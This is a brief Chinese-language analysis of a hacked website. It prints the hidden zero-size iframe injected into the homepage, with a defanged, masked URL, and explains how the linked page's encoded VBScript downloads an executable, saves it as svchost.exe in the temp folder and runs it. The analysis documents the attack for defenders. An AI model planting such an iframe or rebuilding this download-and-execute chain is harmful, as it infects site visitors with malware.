网站首页被加入代码:
/------ <iframe height=0 width=0 src="hxxp://www.g**ao**jun***888.com/4"></iframe> ------/
打开网页4 中包含Javascript代码,输出一段加入多余空格、使用escape()加密的VBScript脚本程序。
该VBScript脚本程序利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件txet.exe,保存为 %temp%/svchost.exe,然后调用自定义函数yunxingexe(m5,X skj9)。
自定义函数yunxingexe()创建Shell.Application 对象XsKje,利用 XsKje 的 ShellExecute 方法 来运行 %temp%/svchost.exe。
/------